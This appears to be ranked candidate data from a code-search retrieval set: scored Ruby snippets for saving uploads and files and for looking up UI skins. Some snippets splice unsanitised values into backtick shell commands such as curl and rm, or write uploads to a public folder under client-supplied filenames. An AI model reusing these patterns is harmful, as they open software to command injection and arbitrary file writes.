"text": "def save(item)\n url = item['images']['standard_resolution']['url']\n created_at = Time.at(item['created_time'].to_i)\n folder_name = \"#{ USERNAME }/#{ created_at.strftime(\"%Y/%m\") }\"\n file_path = \"#{ folder_name }/#{ item['id'] }.jpg\"\n\n # Organize photos into year and month folders\n `mkdir -p #{ folder_name }`\n\n # Check if 1080 resolution is available (not exposed in their api)\n url_1080 = url.gsub('s640x640', 's1080xs1080')\n url = url_1080 if `curl -s -I #{ url_1080 }` =~ /200 OK/\n\n # Download photo\n `curl -s -o #{ file_path } #{ url }`\n\n # Set exif time\n `./jhead-3.00 -mkexif -ts#{ created_at.strftime('%Y:%m:%d-%T') } #{ file_path }`\n\n # Set exif comment to include location and caption\n location = item['location']['name'] if item['location'] && item['location']['name']\n caption = item['caption']['text'] if item['caption'] && item['caption']['text']\n comment = [location, caption].compact.join(' | ')\n .gsub(/\\n/, ' ')\n .gsub(/\\s+/, ' ')\n .gsub(/\"/, \"'\")\n `./jhead-3.00 -cl \"#{ comment }\" #{ file_path }`\n\n puts \"saved #{ item['id'] }\"\nend",
"title": ""
},
{
"docid": "f669233f98e885459b62085544a9de26",
"score": "0.5444382",
"text": "def save(file_or_stream)\n output = file_or_stream\n\n if output.is_a? String\n @root = Pathname.new(File.dirname(File.expand_path(output)))\n output = File.open(output, 'w')\n else\n @root = Pathname.new(File.expand_path(\".\"))\n end\n\n @files.each do |f|\n output.puts(merge(f))\n end\n\n output.close if file_or_stream.is_a? String\n end",
"title": ""
},
{
"docid": "351b237ad3271397f94dd8abafa6519b",
"score": "0.5438299",
"text": "def save_file(upload)\n\t\t\tfilename = upload[0].original_filename\n\t\t\tfilepath = Rails.root.join('public', 'img', filename)\n\n\t\t\tFile.open(filepath, 'wb') do |file|\n\t\t\t\tfile.write(upload[0].read)\n\t\t\tend\n\t\tend",
"title": ""
},
{
"docid": "6a42bfaca34a1ed10bc0abaceb2dde50",
"score": "0.5427841",
"text": "def output(file)\n\t\tIO.binwrite(file, @decoded.pack('L*'))\n\tend",
"title": ""
},
{
"docid": "d580e57be7259e894e564e40f15e1114",
"score": "0.5415674",
"text": "def write_file\n if @upload_file\n File.makedirs(\"#{full_path}\")\n File.open(file_path, 'wb') do |f|\n f.write(@upload_file.read) \n end\n end\n end",
"title": ""
},
{
"docid": "9f678d9bccc86484639e1d7dc164a5da",
"score": "0.54125684",
"text": "def save(flatten: false)\n tmp_file = SecureRandom.uuid\n save_as(tmp_file, flatten: flatten)\n File.rename tmp_file, @file_path\n end",
"title": ""
},
{
"docid": "853bd740cc92a315294f51b0382407e2",
"score": "0.539648",
"text": "def process_file(base64_file, save_path)\n decoded_file = Base64.urlsafe_decode64(base64_file)\n begin\n # If we are running the data service on the same box this will ensure we only write\n # the file if it is somehow not there already.\n unless File.exists?(save_path) && File.read(save_path) == decoded_file\n File.open(save_path, 'w+') { |file| file.write(decoded_file) }\n end\n rescue => e\n elog \"There was an error writing the file: #{e}\"\n e.backtrace.each { |line| elog \"#{line}\\n\"}\n end\n save_path\n end",
"title": ""
},
{
"docid": "c9a1711e7f5181589dac0fac6f13f1aa",
"score": "0.5394416",
"text": "def write_file(src, dest)\n file_path = \"#{@video_dir}/#{dest}\"\n dest = File.new(file_path, \"wb\")\n dest.write(src.read)\n dest.close\n end",
"title": ""
},
{
"docid": "fe8644b394986240963550bb7971c701",
"score": "0.53899014",
"text": "def store_buffer\n return unless buffer?\n @buffer.binmode\n @buffer.pos = 0 # TODO: なんか頭が落ちるので!\n File.open(stored_file_path, \"wb\") do |f|\n f.write(@buffer.read)\n end\n end",
"title": ""
},
{
"docid": "a7fb115a56c516577b78a1c3bff8ac5e",
"score": "0.538271",
"text": "def image=(string)\n binding.pry\n o = Base64.decode64 string\n self.path = self.path||(SecureRandom.hex(20)+\".jpg\")\n File.open(\"#{PATH}#{self.path}\", \"w+\"){|file|\n file.write(string)\n }\n end",
"title": ""
},
{
"docid": "5d8142eeefdcac33abc04d51ce9e54ac",
"score": "0.5375553",
"text": "def write_upload_to_file(uploaded_file, filename)\n FileUtils.mkdir_p(dir_path) unless File.directory?(dir_path)\n file_path = Rails.root.join(dir_path, filename)\n File.open(file_path, 'wb') do |file|\n file.write(uploaded_file.read)\n end\n end",
"title": ""
},
{
"docid": "86aaeec66f330204383912a857d5d137",
"score": "0.5372607",
"text": "def safe_save(name, data, loggger)\r\n begin\r\n File.open(ImagesRootBase + name, \"wb\") { |f| f.write(data.read) }\r\n return name\r\n rescue\r\n logger.error(\"Failed to save uploaded file because: \" + $!)\r\n return nil\r\n end\r\n end",
"title": ""
},
{
"docid": "0bbeeb6a8cc49505c6aba461910be482",
"score": "0.5351879",
"text": "def save(dir, data, filename)\n FileUtils.mkdir_p dir\n fn = dir+\"/\"+filename \n puts fn\n open(fn, 'w') { |f|\n f.puts data\n f.close\n }\n end",
"title": ""
},
{
"docid": "60a7b82aab3836f1700b5a824dbafbb6",
"score": "0.53459084",
"text": "def write_raw!(pathname, output)\n FileUtils.mkdir_p(pathname.parent) unless pathname.parent.exist?\n File.open(pathname, 'w'){ |f| f << output }\n end",
"title": ""
},
{
"docid": "d632e9b81ead03c8313be410d610fa1f",
"score": "0.534574",
"text": "def save_to(directory, options = T.unsafe(nil)); end",
"title": ""
},
{
"docid": "5cca5aecc47f04a85ef68410f2094280",
"score": "0.53373516",
"text": "def store!\n unlink! @original_path\n return nil unless @tempfile_path\n\n new_path = path\n FileUtils.mkdir_p File.dirname(new_path)\n result = if @tempfile_path =~ /\\/te?mp\\//\n FileUtils.move @tempfile_path, new_path\n else\n FileUtils.copy @tempfile_path, new_path\n end\n File.chmod 0644, new_path\n reset\n result\n end",
"title": ""
},
{
"docid": "b98078fc1bfc7a9b9ce746e44469caed",
"score": "0.5335764",
"text": "def save_file\n FileUtils.mkdir_p(File.dirname(full_filename))\n FileUtils.cp(temp_path, full_filename)\n FileUtils.chmod(0644, full_filename)\n end",
"title": ""
},
{
"docid": "25ea538b8546a607665b437af8d801ba",
"score": "0.5320241",
"text": "def decode_image_data(img_data,fname)\n cid = URI.unescape(img_data)\n filename = fname\n file = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\",\"wb\")\n temp2 = ActiveSupport::Base64.decode64(cid)\n file.write(temp2)\n file.close\n f = File.open(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\")\n self.avatar = f\n f.close\n File.delete(\"#{Rails.root.to_s}/public/tmp/#{filename}.jpg\")\n end",
"title": ""
},
{
"docid": "9b7ad4a429bf9fa3048a6306a3fc4f54",
"score": "0.5320241",
"text": "def save! filename = nil\n filename ||= @filename\n dirname = File.dirname filename\n FileUtils.mkdir_p dirname\n\n ::File.open(filename, 'wb')do |io|\n until @body_io.eof? do\n io.write @body_io.read 16384\n end\n end\n\n filename\n end",
"title": ""
},
{
"docid": "e5cc368450d16651bc5a2ba2a0c8632f",
"score": "0.5317058",
"text": "def encoded_to_file(encoded_file, file_name = nil)\n extension = file_name ? \".#{file_name.match(/[^\\.]+$/)}\" : ''\n temp_file = Tempfile.new([SecureRandom.hex(3), extension])\n temp_file.binmode\n temp_file.write(Base64.decode64(encoded_file))\n temp_file.close\n temp_file\n end",
"title": ""
},
{
"docid": "854eafdf45590b2dda41a176c0b4ae91",
"score": "0.5305994",
"text": "def save\n File.open(path, 'w+') { |f| f.write(to_rb + \"\\n\") }\n end",
"title": ""
},
{
"docid": "c953032630a58019ff022d0b9a5b1e77",
"score": "0.52967787",
"text": "def save_tmp_file(upload_hash)\n\n tmp_dir = \"./public/tmp\"\n image = File.binread(upload_hash[\"image\"][:tempfile]) # open image file\n\n f = File.new \"#{tmp_dir}/#{upload_hash[\"image\"][:filename]}\", \"wb\"\n f.write(image)\n f.close if f\n\n puts \"save_tmp_file() - uploaded file saved to temp directory!\"\n url = save_file_to_s3_bucket(\"prototype-jv\", \"#{upload_hash[\"image\"][:filename]}\")\n\nend",
"title": ""
},
{
"docid": "c109cae68140f0ad0ae5c3165f2c1457",
"score": "0.52850014",
"text": "def save_to_storage\n if save_attachment?\n # TODO: This overwrites the file if it exists, maybe have an allow_overwrite option?\n FileUtils.mkdir_p(File.dirname(full_filename))\n File.cp(temp_path, full_filename)\n File.chmod(attachment_options[:chmod] || 0644, full_filename)\n end\n @old_filename = nil\n true\n end",
"title": ""
},
{
"docid": "4723819aa8897d1c8a38a0c5c7544227",
"score": "0.52840555",
"text": "def uploaded_file(photo)\n picture_file = \"#{photo[:tempfile].path}.jpg\"\n FileUtils.cp photo[:tempfile].path, picture_file\n File.new(picture_file, 'rb')\n end",
"title": ""
},
{
"docid": "5fb9c968f2b0a30f47889672809952da",
"score": "0.5280962",
"text": "def save\n return if saved?\n self.saved = true\n original_path = interpolate_path(:original)\n stream.write_to(original_path)\n end",
"title": ""
},
{
"docid": "ec81b4928481ea75cb16a90f6fb99f98",
"score": "0.52802354",
"text": "def write_file(data, name)\n raise WebthumbException.new('No data given') if data == nil || data.size == 0\n File.open(name, 'wb+') do |file|\n file.write(data)\n file.close\n file\n end\n end",
"title": ""
},
{
"docid": "5e528fa276d7bcd09382e3399aba4fce",
"score": "0.52767634",
"text": "def save(data)\n File.open(@local_file_path, \"wb\") {|file| file.write(data) }\n end",
"title": ""
},
{
"docid": "0a79ce808facf28a5ee3e4bc60643fbf",
"score": "0.52684",
"text": "def image\n @sys_image = resource_find(params[:id])\n uploaded_io = params[:file]\n _size = File.size(uploaded_io)\n write_resource(@sys_image, uploaded_io.read, \"ndz\")\n redirect_to(@sys_image) \n end",
"title": ""
},
{
"docid": "823fdfc21097f3973de399d07c75bf67",
"score": "0.5266206",
"text": "def toImgDir\n @imgDir = UploadUtils.monthDir( Rails.configuration.img_dir, Rails.configuration.original_dir )\n path = File.join( @imgDir, @original )\n res = UploadUtils.filename( path )\n @imgPath = res['path']\n FileUtils.cp( @uploadPath, @imgPath )\n return report\n end",
"title": ""
},
{
"docid": "3971ce0d02602e9a269df17cfefe7b42",
"score": "0.5257929",
"text": "def create\n @coder = Coder.new(coder_params)\n @coder[:code] = @coder.code.original_filename\n @coder.save\n uploaded_io = params[:coder][:code]\n File.open(Rails.root.join('public', 'code', uploaded_io.original_filename), 'w') do |file|\n file.write(uploaded_io.read)\n end\n redirect_to root_path({code: uploaded_io.original_filename, id: @coder.id})\n end",
"title": ""
},
{
"docid": "4cf458e49d5e47ea3dc756e37860691b",
"score": "0.52513975",
"text": "def store\n File.store(uuid)\n end",
"title": ""
},
{
"docid": "12359d468f90833cfc8ab38c1d42807e",
"score": "0.5237849",
"text": "def save(data, path, format=nil)\n \t\tformat ||= get_format(path)\n\n\t\t\tinit_encoder(data)\n\n \t\tcase format.to_sym\n \t\t\twhen :jpg, :jpeg\n \t\t\t\tres = save_as_jpeg(path)\n \t\t\twhen :png\n \t\t\t\tres = save_as_png(path)\n \t\t\twhen :tiff, :tif\n \t\t\t\tres = save_as_tiff(path)\n \t\t\twhen :eps\n \t\t\t\tres = save_as_eps(path)\n \t\t\telse\n \t\t\t close; raise RQR::FormatNotFoundException.new(\"invalid format! #{format}\")\n \t\tend\n \n close\n \n if res != 0\n raise RQR::ImageException.new(\"qrcode image error! #{path} wasn't created.\")\n \t\tend\n \tend",
"title": ""
},
{
"docid": "476354d38a83475aa8e3a55f37d6f017",
"score": "0.52370733",
"text": "def save_data(data, filename)\n File.binwrite(filename, Marshal.dump(data))\n return nil\nend",
"title": ""
},
{
"docid": "a98f0dbe55adf82b057ecc502311cc59",
"score": "0.52354795",
"text": "def create_locally\n write_file(@video_file, @video_name)\n write_file(@poster_file, @poster_name)\n end",
"title": ""
},
{
"docid": "47a43c8c650da132616460927c01045b",
"score": "0.52349776",
"text": "def mirror_file(size)\n # only allow whitelisted sizes.\n return nil unless ['m', 'l'].include? size\n\n basedir = \"#{@options.cache_dir}/#{gallery}/#{size}\"\n File.makedirs(basedir) unless File.exists?(basedir)\n filepath = \"#{basedir}/#{@filename}\"\n drop_path = \"#{@gallery}/#{@filename}\"\n if not File.exists? filepath\n body = @session.thumbnail(drop_path, size)\n File.open(filepath, 'w') {|f| f.write(body) }\n end\n\n return filepath\n end",
"title": ""
},
{
"docid": "b623fd724258df330e5ea686c9db5122",
"score": "0.5234337",
"text": "def save_to_file(file_name = @current_file_name)\n # Loop on all dirline widgets\n File.open(file_name, 'wb') do |file|\n file.write(FILE_HEADER)\n file.write(Zlib::Deflate.deflate(RubySerial::dump({\n :dest_dir_names => @main_widget.get_dest_dirlines.map { |dirline_widget| dirline_widget.get_dir_name },\n :src_dir_names => @main_widget.get_src_dirlines.map { |dirline_widget| dirline_widget.get_dir_name },\n :data => @data\n })))\n end\n notify(\"File #{file_name} saved correctly\")\n @current_file_name = file_name\n invalidate_current_loaded_file\n end",
"title": ""
},
{
"docid": "23c8cb43b9a9594ef3238537e24b7ed4",
"score": "0.52324593",
"text": "def write\n open(@fname,\"wb\") do |file|\n Marshal.dump(@data,file)\n end\n end",
"title": ""
},
{
"docid": "c03b4497325fb88953e49348233ddbf6",
"score": "0.5226436",
"text": "def snap\n @cleaner.photo = params[:photo][:file]\n content_type = content_type(@cleaner.photo_file_name)\n @cleaner.photo_content_type = content_type if content_type\n @cleaner.save!\n render :text => @cleaner.photo.url(:large)\n end",
"title": ""
},
{
"docid": "14f8c3d8f3da9d4e77c7978bc3fd606e",
"score": "0.5222717",
"text": "def save_to_file(path = nil)\n content\n file = Store::File.find_by(id: store_file_id)\n if !file\n raise \"No such file #{store_file_id}!\"\n end\n\n if !path\n path = Rails.root.join('tmp', filename)\n end\n ::File.open(path, 'wb') do |handle|\n handle.write file.content\n end\n path\n end",
"title": ""
},
{
"docid": "3a815401a617eab7e6e07731aa7d1120",
"score": "0.5221624",
"text": "def store_dir\n \"photo/#{model.id}\"\n end",
"title": ""
},
{
"docid": "4350034f12e6112df453d3ab5cb10419",
"score": "0.52215743",
"text": "def save_path\n @save_path ||= self.class.image_save_path.dup\n end",
"title": ""
},
{
"docid": "07aa2ad6d5e9ed0871e72c1289ad83a3",
"score": "0.5216712",
"text": "def files_to_final_location\n if @temp_file\n self.disk_directory = target_directory\n self.disk_filename = Attachment.disk_filename(filename, disk_directory)\n logger.info(\"Saving attachment '#{self.diskfile}' (#{@temp_file.size} bytes)\") if logger\n sha = Digest::SHA256.new\n if @temp_file.respond_to?(:read)\n buffer = \"\"\n while (buffer = @temp_file.read(8192))\n sha.update(buffer)\n end\n else\n sha.update(@temp_file)\n end\n\n self.digest = sha.hexdigest\n end\n if content_type.blank? && filename.present?\n self.content_type = Redmine::MimeType.of(filename)\n end\n # Don't save the content type if it's longer than the authorized length\n if self.content_type && self.content_type.length > 255\n self.content_type = nil\n end\n\n if @temp_file\n raw_data =\n if @temp_file.respond_to?(:read)\n @temp_file.rewind\n @temp_file.read\n else\n @temp_file\n end\n RedmicaS3::Connection.put(self.diskfile, self.filename, raw_data,\n (self.content_type || 'application/octet-stream'),\n {digest: self.digest}\n )\n end\n ensure\n @temp_file = nil\n end",
"title": ""
},
{
"docid": "6d2dfbef3cf532947a151bfc3cc4f5ce",
"score": "0.52160865",
"text": "def write_image id, name_suffix=\"\"\n m_begin \"write_image\"\n filename = \"./temp/\" +id.to_s+name_suffix+\".gif\"\n get_image(id).write(filename)\n m_end \"write_image\"\n end",
"title": ""
},
{
"docid": "c00bdb310d64ecf5a77c7257d643a93b",
"score": "0.52035093",
"text": "def fetch_image(host,old_file,new_file)\n\t`rm #{old_file}` \n\t`mv #{new_file} #{old_file}`\t\n\topen('assets/images/radar/new.png', 'wb') do |file|\n\t\tfile << open('host').read\n\tend\n\tnew_file\nend",
"title": ""
},
{
"docid": "d9dc15481f4bf89ea53a67ed325fe983",
"score": "0.5202748",
"text": "def download_from_instagram\n path = File.join(File.dirname(__FILE__),\"tmp/#{@payload['title']}.jpg\") \n File.open(path, \"wb\") do |f| \n f.write HTTParty.get(@payload['photo_url']).parsed_response\n end\n path\n end",
"title": ""
},
{
"docid": "20172833671c2efbd2798e11af0b151e",
"score": "0.51844764",
"text": "def save_attached_files; end",
"title": ""
},
{
"docid": "20172833671c2efbd2798e11af0b151e",
"score": "0.51844764",
"text": "def save_attached_files; end",
"title": ""
}
] |
623dc560b790160729bfb68ddd5f9395
|
Returns a skin information by name.
|
[
{
"docid": "2355f811e0c31a19c3f4c7119a9d82cf",
"score": "0.72557986",
"text": "def form_skin_by_name(skin_name)\n @form_skins[skin_name.to_sym]\n end",
"title": ""
}
] |
[
{
"docid": "83b659645670ffac3c17992293a2375e",
"score": "0.6506688",
"text": "def skinName\n \"IM_GONNA_CUT_YOU_SO_BAD_YOU_GONNA_WISH_I_DIDNT_CUT_YOU_SO_BAD\"\n end",
"title": ""
},
{
"docid": "df3937e508b475c5f3065024cc72f26c",
"score": "0.62143695",
"text": "def find_by_name(name)\n Textalk::Theme.list.select { |theme| theme.dig(:params, :component) == name }\n end",
"title": ""
},
{
"docid": "17d925c30d29b49cfd30bbda5da1e384",
"score": "0.6102109",
"text": "def get_skins\n response = get_siteinfo('skins')\n ret = {}\n response['query']['skins'].each do |s|\n ret[s['code']] = s['*']\n end\n ret\n end",
"title": ""
},
{
"docid": "2d8217febdd0bfda3e0c44da98f5877b",
"score": "0.6050007",
"text": "def current_name_windowskin\n @nameskin_overwrite || current_layout.name_windowskin || NAME_SKIN\n end",
"title": ""
},
{
"docid": "937c17c1c919b975fae5bf00fe90b900",
"score": "0.6048496",
"text": "def find(skin_code)\n all.select do |skin|\n skin.code == skin_code\n end.first\n end",
"title": ""
},
{
"docid": "e51f2a11a4930e14591e93b567d5c31a",
"score": "0.60168326",
"text": "def windowskin(filename, _hue = 0)\n load_image(@windowskin_cache, filename, Windowskins_Path, @windowskin_data)\n end",
"title": ""
},
{
"docid": "293c3d3093391170facc9f466b7e6020",
"score": "0.6007198",
"text": "def skins\n client.get \"skins/#{inst_id}/list\"\n end",
"title": ""
},
{
"docid": "96bc465b99760dcf31fe644cf52430e5",
"score": "0.5806767",
"text": "def current_windowskin\n current_layout.windowskin || $game_system.windowskin_name\n end",
"title": ""
},
{
"docid": "b2a7c6dfbf408bb742b02c63d5be06db",
"score": "0.5711973",
"text": "def asset(name:)\n self[:assets].select { |asset| asset[:name] =~ /#{name}/ }.first\n end",
"title": ""
},
{
"docid": "ee0da68afe5299bfc667fc732c67d0d0",
"score": "0.568987",
"text": "def skin_dirname\n \"skin_#{self.id}_#{self.title.gsub(/[^\\w]/, '_')}/\".downcase\n end",
"title": ""
},
{
"docid": "37a487c14ac5bb10e08d1a4aa2472b15",
"score": "0.567733",
"text": "def retrieve(name)\n self.all.detect{|style| style.name == name}\n end",
"title": ""
},
{
"docid": "2ea2d94362e287d13ca20a106b05948f",
"score": "0.56690556",
"text": "def profile(name)\n @profiles.find { |p| p.name == name }\n end",
"title": ""
},
{
"docid": "884eff00534aefe8a3b77233edae8924",
"score": "0.5657492",
"text": "def form_skin_by_code(skin_code)\n if skin = @form_skins.detect { |(name, skin)| skin[:skin_code] == skin_code }\n skin.last\n end\n end",
"title": ""
},
{
"docid": "544ccac88358e0babd01ce7073ef1e0d",
"score": "0.55241764",
"text": "def skin(url)\n\t\t\t@screenshot = Screenshot.new(\n\t\t\t\t:dir => @configuration.skins_dir\n\t\t\t)\n\t\t\t@compare = GreenOnion::Compare.new\n\n\t\t\t@screenshot.test_screenshot(url)\n\t\tend",
"title": ""
},
{
"docid": "2ce2bd0cff07c3a9c8b85cd42fbaac95",
"score": "0.5477663",
"text": "def name\n sku.name\n end",
"title": ""
},
{
"docid": "b235a461764e378ab40b6bd61573cf1a",
"score": "0.5432373",
"text": "def index\n @menu = \"admininfo\"\n @board = \"skins\"\n @section = \"index\"\n \n if Skin.all.count > 0 \n @skin = Skin.first()\n else\n @skin = Skin.new\n @skin.is_custom = false\n @skin.skin_name = \"cloud\"\n @skin.save\n end\n \n render 'skin' \n end",
"title": ""
},
{
"docid": "783c12a62f3a6d1c5fe2f474002e2231",
"score": "0.54114807",
"text": "def name\n theme.name\n end",
"title": ""
},
{
"docid": "543242e9578cc11401ce0c8e44901ecc",
"score": "0.53833205",
"text": "def register_form_skin(name, skin_code, shared_secret)\n @form_skins[name.to_sym] = { :name => name.to_sym, :skin_code => skin_code, :shared_secret => shared_secret }\n end",
"title": ""
},
{
"docid": "a9719936a7511e9cf354a2da1e094975",
"score": "0.53653836",
"text": "def default_windowskin\n DEFAULT_SKIN\n end",
"title": ""
},
{
"docid": "02efdeec5b157fd59a8c1d92a28ab183",
"score": "0.5316759",
"text": "def current_windowskin\n @windowskin_overwrite || current_layout.windowskin || $game_system.windowskin_name\n end",
"title": ""
},
{
"docid": "38b8b78412b557f48035a744f8dc5ee0",
"score": "0.52886415",
"text": "def load_windowskin(flush_it = false)\n if flush_it\n dispose_bitmaps_from_cache_tab(@windowskin_cache)\n else\n @windowskin_cache = {}\n @windowskin_data = Yuki::VD.new(PSDK_PATH + '/master/windowskin', :read)\n end\n end",
"title": ""
},
{
"docid": "91eb3bc1ec9478dd3308ea7b487accaa",
"score": "0.5283272",
"text": "def all_remote\n page = Adyen::Admin.get(SKINS)\n page.search(\".data tbody tr\").map do |node|\n Skin.new({\n :code => node.search(\"a\")[0].content.strip,\n :name => node.search(\"td\")[1].content.strip,\n })\n end\n end",
"title": ""
},
{
"docid": "2571ef76db0e8a0c948e36118473ae53",
"score": "0.52421343",
"text": "def by_name( name )\n available.each { |addon| return addon if addon['filename'] == name }\n return nil\n end",
"title": ""
},
{
"docid": "9f69d3a0a9acec7d2c0aebd95d55ee25",
"score": "0.5225119",
"text": "def update_name_windowskin\n windowskin_name = current_name_windowskin\n return if @name_windowskin_name == windowskin_name\n\n wb = @name_window.window_builder = current_name_window_builder\n @name_window.windowskin = RPG::Cache.windowskin(@name_windowskin_name = windowskin_name)\n @name_window.x = x\n if current_position != :top\n @name_window.y = y - wb[5] - wb[-1] - default_line_height - default_vertical_margin\n else\n @name_window.y = y + height + default_vertical_margin\n end\n @name_window.height = wb[5] + wb[-1] + default_line_height\n end",
"title": ""
},
{
"docid": "d69204796e0aea616736f427a0c38992",
"score": "0.5209831",
"text": "def name\n @page = @item/6\n # clean bitmap\n bmp = pbBitmap(@path + @nameImg)\n bitmap = @sprites[\"name\"].bitmap\n bitmap.clear\n bitmap.blt(0, 0, bmp, Rect.new(0,0,320,44))\n # draw text\n text = [\n [@pname, bmp.width/2, -5, 2, Color.white, nil],\n [\"#{@page+1}/#{@pages}\", bmp.width, -5, 0, Color.white, nil]\n ]\n pbDrawTextPositions(bitmap, text)\n bmp.dispose\n end",
"title": ""
},
{
"docid": "94e2e7fce1489fc77e52a99861709e9d",
"score": "0.5202856",
"text": "def grab_sku(name)\n if name \n # TODO: use regexp\n i1 = name.index('(')\n i2 = name.index(')')\n if i1 && i2\n sku = name.split('(')[1]\n sku = sku.split(')')[0] if sku\n end\n sku.gsub(/\\s/, '') # remove spaces\n end\n end",
"title": ""
},
{
"docid": "433af2967f9cb3cb0d8c0551725b287f",
"score": "0.5126677",
"text": "def name\n read_attribute(:font_name)\n end",
"title": ""
},
{
"docid": "089c3064fdaafcf8e203ae9c19efb65c",
"score": "0.50954396",
"text": "def lookup(name)\n @@loaded_styles\n .find { |style| style.name.to_sym == name }\n .tap { |style| raise InvalidFrameStyleName, name if style.nil? }\n end",
"title": ""
},
{
"docid": "78ad7e26d7bf941871c1e1e05da58afd",
"score": "0.5094191",
"text": "def image( name )\n @images[name]\n end",
"title": ""
},
{
"docid": "4a87971e99a1155d801880733a830025",
"score": "0.50819546",
"text": "def jmaki_load_widget(name)\n # Return previously parsed content (if any)\n if !@jmaki_widgets\n @jmaki_widgets = { }\n end\n previous = @jmaki_widgets[name]\n if previous\n return previous\n end\n content = \"\"\n filename = JMAKI_RESOURCES + name.tr('.', '/') + \"/widget.json\"\n File.open(filename, \"r\") do |file|\n while line = file.gets(nil)\n content += line\n end\n end\n current = jmaki_parse_json(content, filename)\n @jmaki_widgets[name] = current\n current\n end",
"title": ""
},
{
"docid": "76cce0f1a4b1e5145ca0c0f79cdb9445",
"score": "0.5079692",
"text": "def read(name)\n @dump.fetch(name)\n end",
"title": ""
},
{
"docid": "7254029e216cbe044aeeb0e9d8f1b073",
"score": "0.5076565",
"text": "def get(name)\n data[name]\n end",
"title": ""
},
{
"docid": "7a0fabf2f03c62e2a5f2d679fe14aaa6",
"score": "0.5075832",
"text": "def getHose(name)\n @gang.tributaries.detect { |x| x.pool_name == name }\n end",
"title": ""
},
{
"docid": "67afd2060c09570647e9b20dbfe32a56",
"score": "0.50754684",
"text": "def name\n @game_info['name']\n end",
"title": ""
},
{
"docid": "a6ffc56c8af73969abc06e981a9ca63f",
"score": "0.5074372",
"text": "def name\n BadASS::BAD_DRAGON_SKUS[@sku]\n end",
"title": ""
},
{
"docid": "76a976e218d734a70c8b7746940ef5f3",
"score": "0.50601035",
"text": "def upload_skin(file, name:, **params)\n client.post do |request|\n request.url \"skins/#{inst_id}/create\", params.merge(name: name)\n request.headers[\"Content-Type\"] = \"application/zip\"\n request.body = File.read(file)\n end\n end",
"title": ""
},
{
"docid": "689c1ad1d1dec81fdd94383cb4445c85",
"score": "0.50413287",
"text": "def name\n @info[:face]\n end",
"title": ""
},
{
"docid": "0ed0df252fecc28bcc056a77c5c27c5c",
"score": "0.5038187",
"text": "def [](name)\n @atlas[name]\n end",
"title": ""
},
{
"docid": "58f87806ba3daf2a023ecb3e47ba109c",
"score": "0.5016665",
"text": "def []( name )\r\n result = @resources[name]\r\n\r\n if result.nil?\r\n result = autoload(name)\r\n if result\r\n self[name] = result\r\n result.name = name\r\n end\r\n end\r\n\r\n return result\r\n end",
"title": ""
},
{
"docid": "9d788f43f736695798ef3ace24354f85",
"score": "0.5016373",
"text": "def [](name)\n get_scene.lookup(name)\n end",
"title": ""
},
{
"docid": "592a99c088e6c879ad980a00fc26e0cb",
"score": "0.50087494",
"text": "def load_font(name, size)\n config = Gamebox.configuration\n fonts_path = config.fonts_path\n gb_fonts_path = config.gb_fonts_path\n @loaded_fonts[name] ||= {}\n return @loaded_fonts[name][size] if @loaded_fonts[name][size]\n begin\n if name =~ /^\\// and File.exists?(name)\n font = Font.new(@window, name, size)\n @loaded_fonts[name][size] = font\n else\n full_name = fonts_path + name\n if File.exist? full_name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n else\n full_name = gb_fonts_path + name\n font = Font.new(@window, full_name, size)\n @loaded_fonts[name][size] = font\n end\n end\n return font\n rescue Exception => ex\n log \"Cannot load font #{full_name}:#{ex}\"\n end\n return nil\n end",
"title": ""
},
{
"docid": "bf0bf7d125ba437d48045f778e6f062b",
"score": "0.49983996",
"text": "def windowskin_exist?(filename)\n test_file_existence(filename, Windowskins_Path, @windowskin_data)\n end",
"title": ""
},
{
"docid": "47d8c6e89a478fd2ee2d6843084ddc20",
"score": "0.4983518",
"text": "def getItemByPageName(name)\n request('getItemByPageName', {'name' => name})\n end",
"title": ""
},
{
"docid": "75b8428851720b5512c0cb08cd7dd5f2",
"score": "0.49834964",
"text": "def get_settings(name)\n result = @db.execute(\"SELECT * FROM #{MONITOR_INFO_TABLE_NAME} WHERE name=?\", name)[0]\n result.nil? ? {} : {:name => result[0], :description => result[1]}\n end",
"title": ""
},
{
"docid": "b8b4f6ec9fd850856fb559547898a1be",
"score": "0.49812108",
"text": "def get_meta(name)\n path = \"/projects/#{project.name}/resources/#{name}\"\n resp = client.head(path)\n build_resource(resp)\n end",
"title": ""
},
{
"docid": "a24fe6065a6f3905553e9bef1029bffd",
"score": "0.4976295",
"text": "def named(name)\n resource = all.detect { |resource| resource.name == name }\n if resource.nil?\n raise UnknownResource, \"Resource named #{name} doesn't exist\"\n else\n resource\n end\n end",
"title": ""
},
{
"docid": "8314d380457e7ae61fb586c0bbac6ef6",
"score": "0.4968143",
"text": "def window_builder(skin)\n return GameData::Windows::MessageHGSS if skin[0, 2].casecmp?('m_') # SkinHGSS\n\n return GameData::Windows::MessageWindow # Skin PSDK\n end",
"title": ""
},
{
"docid": "1d33a491d53f1b90afeb28b4a1f9d808",
"score": "0.49651372",
"text": "def show_information(name)\n id = self.search_for(name).first[\"id\"]\n url = @base_url\n url += \"/show/\" + id.to_s\n @client.query(url)\n end",
"title": ""
},
{
"docid": "502db3ef6821b1ed374f01cec01f4e65",
"score": "0.49602395",
"text": "def get_statistics_by_name(name)\n if(@names.has_key? name)\n @champions[@names[name]]\n end\n end",
"title": ""
},
{
"docid": "b5794e1b77d53216d6539fee4c80f251",
"score": "0.49515447",
"text": "def get_item_data_by_name(name)\n _item_property = @items.find{|item| item['Name'] == name}\n if _item_property.nil?\n nil\n else\n _item_property['Data']\n end\n end",
"title": ""
},
{
"docid": "23cc73493df7bd6d923a8e20e0b5e302",
"score": "0.4945725",
"text": "def painter_name\n # Return back the name of my painter\n self.painter.name\n end",
"title": ""
},
{
"docid": "af627a45c9008fd8325a822e55a4710e",
"score": "0.49429262",
"text": "def [](name)\n name = name.to_s\n each_section do |section|\n return section if section.name == name\n end\n nil\n end",
"title": ""
},
{
"docid": "943403f8f3fd7f4010fe77e1d5669b54",
"score": "0.49182647",
"text": "def get_summoner_image(name)\n begin\n query_string = \"SELECT id FROM summoners WHERE name = '#{name}'\"\n query = @@db.query(query_string)\n link = []\n img = query.first['id'].to_s + \".png\"\n return img\n end\n end",
"title": ""
},
{
"docid": "ee5e43157cfd730428705d597c0853e6",
"score": "0.49149033",
